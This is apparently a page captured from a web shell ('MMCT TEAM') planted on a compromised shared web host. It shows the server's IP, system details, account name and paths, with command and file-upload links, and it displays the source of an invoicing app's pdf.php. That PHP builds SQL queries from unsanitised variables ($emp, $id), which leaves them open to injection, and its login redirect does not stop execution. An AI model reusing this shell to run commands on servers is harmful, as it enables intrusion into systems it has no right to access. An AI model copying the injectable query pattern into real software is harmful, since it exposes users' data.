MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/inventory/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/inventory/pdf.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("include/db.php");;
 
?>
<!doctype html>
<html lang="en">


<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:02 GMT -->
<head>

    
    <?php include 'include/head.php'; ?>
<style>

</style>

</head>


<body>

    <!-- Begin page -->
    <div id="layout-wrapper">

       <?php include 'include/header.php'; ?>

        <!-- ========== Left Sidebar Start ========== -->
        <div class="vertical-menu">
            <?php include 'include/sidebar.php'; ?>
        </div>
        <!-- Left Sidebar End -->

        <!-- ============================================================== -->
        <!-- Start right Content here -->
        <!-- ============================================================== -->
         <div class="main-content">

                <div class="page-content">

                    <!-- start page title -->
                    <div class="page-title-box">
                        <div class="container-fluid">
                         <div class="row align-items-center">
                             <div class="col-sm-6">
                                 <div class="page-title">
                                     <h4>New Price List</h4>
                                         <!-- <ol class="breadcrumb m-0">
                                             <li class="breadcrumb-item"><a href="javascript: void(0);">Morvin</a></li>
                                             <li class="breadcrumb-item"><a href="javascript: void(0);">Tables</a></li>
                                             <li class="breadcrumb-item active">Data Tables</li>
                                         </ol> -->
                                 </div>
                             </div>
                             <div class="col-sm-6">
                               
                             </div>
                         </div>
                        </div>
                     </div>
                     <!-- end page title -->    


                    <div class="container-fluid">

                        <div class="page-content-wrapper">

                        

                             <div class="row">
                                    <div class="col-lg-12">
                                    <div class="card">
                                        <div class="card-body">
                                           
                                            
                                            <form >
                                                <div class="row">

                                                       <div class="row">
              <div class="row">
                 <div class="col-md-3"></div>
              </div>
            <div id='DivIdToPrint'>
                 <div class="jk">
        <table style="width: 100%;max-width: 100%;margin-bottom: 5px;border-collapse: collapse;">

           <tr style="border: 1px solid #2e75dc;background-color: #2e75dc;color: #fff;">
             <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;">Tcs</td>
             
              <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: center;"><img src="download.png" style="height: 50px;float: right;"></td>
             
           </tr>

           <tr>
               <td style="text-align: center;font-weight: 800;text-decoration: underline;"> CUSTOMER ORDER FORM </td> 
           </tr>

           <tr>
             <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;">COF ref. no. : NDE2403221ITOMSG</td>
             
              <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: center;">30-Mar-2022</td>
             
           </tr>

        </table>



        
         <table style="width: 100%;max-width: 100%;margin-bottom: -11px;border-collapse: collapse;">
                                             <thead>
                                             </thead>
                                             <tbody>
                                                <tr>
                                                  <td  style="width: 50%;border: 1px solid black;padding: 8px;line-height: 1.42857143;vertical-align: top;">
                                                     
                                                          <h5 class="hh"> Customer Detail:-</h5>
                                                        <b class="hh">Name : </b><?php echo $sql_row['cname']; ?><br>
                                                         <b class="hh">Mobile No:</b><?php echo $sql_row['mobileno']; ?><br>
                                                         <b class="hh">Village:</b><?php echo $sql_row['village']; ?> &nbsp;<b class="hh">Tehsil:</b><?php echo $sql_row['tehsil']; ?> &nbsp; <b class="hh">District  :</b><?php echo $sql_row['distric']; ?><br>
                                                          <b class="hh">Customer Gst No : </b><?php echo $sql_row['customer_gst']; ?><br>
                                                    </td> 
                                                    
                                                     <td  style="width: 50%;border: 1px solid black;padding: 8px;line-height: 1.42857143;vertical-align: top;">
                                                      <?php
                                                      $su1 = "select * from tbl_employee where id='$emp'";
                                                      $us1 = mysqli_query($con,$su1);
                                                      $uss1 = mysqli_fetch_array($us1);
                                                      $macemp = $uss1['employee_name'];
                                                      ?>
                                                      
                                                         <b class="hh">invoice No : </b><?php echo $sql_row['id']; ?><br>
                                                         <b class="hh">Date :</b><?php echo $sql_row['entry_date']; ?><br>
                                                         <b class="hh">Engine No  : </b><?php echo $sql_row['engine_no']; ?><br>
                                                         <b class="hh">Chasis No :</b><?php echo $sql_row['chasis_no']; ?><br>
                                                         <b class="hh"> Mechanic Name : </b><?php echo $macemp; ?><br>
                                                         <b class="hh">Pyment Type :</b><?php echo $sql_row['payment_type']; ?><br>
                                                         <b class="hh">Work Type :</b><?php echo $sql_row['works_ser']; ?>
                                                         
                                                       
                                                      
                                                    </td>  
                                                  
                                                </tr>
                                             </tbody>
                                          </table>
                                          
                                     <table style="width: 100%;max-width: 100%;margin-bottom: 5px;border-collapse: collapse;">
                                    <h3> </h3>
                                    <thead>
                        <tr>
                        
                          <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;"><b>HSN Code</b></td>
                           <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>Product Detail</b></td>
                           <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>Quantity</b></td>
                           
                            <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>Rate</b></td>
                              <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>Total Unit Price </b></td>
                             <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>Taxable value</b></td>
                             <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>CGST % </b></td>
                              <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>CGST Amt</b></td>
                              <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>SGST %</b></td>
                              <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>SGST Amt</b></td>
                              <td style="padding: 8px;line-height: 1.42857143;vertical-align: top;text-align: right;"><b>Total</b></td>
                             
                        </tr>
                     </thead>
                                                <tbody>
                                                    
                                                    
                                            
                                                </tbody>
                                             </table>
                                             
                                             <table style="width: 100%;max-width: 100%;margin-bottom: 20px;border-collapse: collapse;">
                                             <thead>
                                             </thead>
                                             <tbody>
                                                <tr>
                                                  <td  style="width: 40%;border: 1px solid black;padding: 8px;line-height: 1.42857143;vertical-align: top;">
                                                     
                                                        <h3 class="hh"> Terms & Conditions </h3>
                                                            <ul>
                                                                <li>Goods once sold shall not be taken back</li>
                                                                <li>Warranty applicable as per Company  policy</li>
                                                                <li>Interest rate 24% applicable for bills not paid</li>
                                                            </ul>
                                                     
                                                    </td> 
                                                    
                                                   
                                                  
                                                    <td  style="width: 30%;border: 1px solid black;padding: 8px;line-height: 1.42857143;vertical-align: top;">
                                                   
                                                         Sub Total : <?php echo $tax_val = round($taxablevalr, 2); ?><br>
                                                                            CGST Expense  : <?php echo $cgst_val = round($cgstt, 2); ?><br>
                                                                            SGST Expense : <?php echo $sgst_val = round($sgstt, 2); ?><br>
                                                                            Miscellaneous  <br>
                                                                            Amount : (<?php echo $sql_row['laber_charge']; ?> + <?php echo $sql_row['petrol_charge']; ?>)<br>
                                                                            <hr>
                                                                            <b>Grand Total :</b> <?php echo $tax_val + $cgst_val + $sgst_val; 
                                                                            
                                                                            
                $sql1 = "update  tbl_workshop_sell_cu  set taxable_val='$tax_val',sgst_val='$sgst_val',cgst_val='$cgst_val' where id='$id'";
                 $result = mysqli_query($con, $sql1) or die(mysqli_error($con));
                 
                  $sql1s = "update  tbl_workshop_sell  set taxable_val='$tax_val',sgst_val='$sgst_val',cgst_val='$cgst_val' where id='$id'";
                 $results = mysqli_query($con, $sql1s) or die(mysqli_error($con));
                                                                            
                                                                            ?>
                                                                            
                                                                            
                                                      
                                                    </td>  
                                                      <td  style="width: 30%;border: 1px solid black;padding: 8px;line-height: 1.42857143;vertical-align: top;">
                                                   
                                                        <b>
                                                              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For A S Word<b>
                                                          
                                                            <br><br><br><br><br>
                                                            Authorised Signatory
                                                            <hr>
                                                      
                                                    </td>  
                                                </tr>
                                             </tbody>
                                          </table>

        
        
        </div>
    </div>
    </div>

                                                   
                                                </div>
                                                <div>
                                                    <button class="btn btn-primary" type="submit">Save</button>
                                                     <button class="btn btn-info" type="submit">cancel</button>
                                                </div>
                                            </form>
                                        </div>
                                    </div>
                                </div>
                               <!-- end col -->
                            </div>
                           <!-- end row -->
            
                      

                        </div>
        
                        
                    </div> <!-- container-fluid -->
                </div>
                <!-- End Page-content -->

              
                
                <footer class="footer">
                 <?php include 'include/footer.php'; ?>
            </footer>
            </div>
        <!-- end main content-->

    </div>
    <!-- END layout-wrapper -->

    <!-- Right Sidebar -->
   
    <!-- /Right-bar -->

    <!-- Right bar overlay-->
    <div class="rightbar-overlay"></div>

    <!-- JAVASCRIPT -->
       <?php include 'include/bscript.php'; ?>


</body>


<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:42 GMT -->
</html>

MMCT - 2023